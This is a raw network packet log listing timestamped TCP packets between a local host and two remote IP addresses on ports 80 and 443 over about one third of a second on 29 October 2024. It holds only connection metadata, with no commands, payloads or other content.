Oct 29, 2024 15:27:23.082412958 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.082475901 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.082602978 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.082664967 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.082787991 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.082803011 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.082825899 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.082833052 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.086055994 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.086097002 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.086194992 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.086360931 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.086376905 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.108294010 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108304977 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108316898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108416080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108424902 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108443022 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108449936 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.108535051 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.108582973 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.109333992 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.109340906 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.109353065 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.109400034 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.112216949 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.113178968 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.113269091 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.113300085 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.113307953 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.113322973 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.113327980 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.115873098 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.115905046 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.115979910 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.116102934 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.116122961 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.116997004 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117119074 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117124081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117131948 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117166042 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117176056 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117197990 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117225885 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117257118 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117264986 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117276907 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117319107 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117412090 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117422104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117485046 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117685080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117692947 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117702961 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117710114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117716074 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117722988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117753983 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117778063 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.117917061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117924929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117937088 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.117983103 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.118056059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.118084908 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.118108034 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.118143082 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.120567083 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.120985031 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.120994091 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.121567011 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.121572018 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.124001026 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.124345064 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.124353886 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.124891043 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.124896049 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.125308990 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.125614882 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.125631094 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.126043081 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.126046896 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.177989006 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178005934 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178018093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178024054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178037882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178044081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178107023 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.178163052 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.178199053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178206921 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178220034 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178258896 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.178270102 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178277969 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178284883 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178324938 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.178343058 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.178647995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178658009 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178669930 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178713083 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178716898 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.178721905 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.178776979 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.179002047 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.179011106 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.179023027 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.179069996 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.198738098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198755026 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198761940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198800087 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198846102 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.198862076 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.198932886 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198942900 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198956966 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198965073 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.198998928 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199022055 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199171066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199223042 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199338913 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199345112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199403048 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199413061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199419975 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199434996 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199448109 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199485064 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199610949 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199620962 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199626923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.199665070 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.199692011 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.224946976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225018024 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225039959 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225058079 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225075960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225094080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225094080 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.225135088 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225147963 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.225192070 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.225192070 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225212097 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225230932 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225248098 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.225249052 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225267887 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.225267887 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.225291014 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.225325108 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.234976053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.234983921 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.234997988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235061884 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235089064 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235096931 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235104084 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235119104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235146046 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235169888 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235265970 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235274076 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235285997 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235291958 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235304117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235363007 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235418081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235424995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235491037 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235491037 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235521078 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235527992 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235539913 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235547066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235583067 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.235666037 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235677004 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.235733986 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.255980968 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.256043911 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.256104946 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.256310940 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.256315947 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.256325960 CET	49776	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.256331921 CET	443	49776	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.256930113 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.257131100 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.257204056 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.257247925 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.257261992 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.259713888 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.259725094 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.259756088 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.259788990 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.259828091 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.259864092 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.260014057 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.260019064 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.260088921 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.260094881 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.263561964 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.263624907 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.263684988 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.263786077 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.263803959 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.263823986 CET	49777	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.263828993 CET	443	49777	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.266347885 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.266366959 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.266500950 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.266674995 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.266688108 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.299875021 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.299897909 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.299911976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.299987078 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.299998999 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300012112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300020933 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300028086 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300029993 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300065994 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300087929 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300158024 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300170898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300184011 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300192118 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300229073 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300256014 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300287008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300352097 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300359011 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300362110 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300411940 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.300446033 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300455093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300461054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.300506115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316040039 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316049099 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316067934 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316090107 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316104889 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316109896 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316123009 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316145897 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316163063 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316186905 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316230059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316287994 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316320896 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316332102 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316342115 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316365004 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316389084 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316425085 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316431999 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316443920 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316487074 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316518068 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316525936 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316576004 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.316967010 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.316977024 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.317028046 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.317105055 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.317157984 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.341665030 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341722965 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341728926 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341766119 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.341784954 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341793060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341799974 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341803074 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.341808081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.341835022 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.341859102 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.342175007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.342184067 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.342196941 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.342240095 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.342256069 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.342262983 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.342268944 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.342282057 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.342328072 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.351497889 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351515055 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351522923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351537943 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351572037 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.351592064 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.351669073 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351677895 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351691008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351696014 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351735115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.351785898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351793051 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.351864100 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352041006 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352051973 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352092028 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352103949 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352104902 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352112055 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352118015 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352144003 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352175951 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352508068 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352582932 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352596045 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352602005 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352639914 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352643013 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352649927 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352659941 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352663994 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352674007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.352696896 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.352725029 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.411691904 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.411751986 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.411782026 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.411820889 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.411850929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.411871910 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.411899090 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.411911964 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.411983967 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.412031889 CET	49742	80	192.168.2.6	185.215.113.206
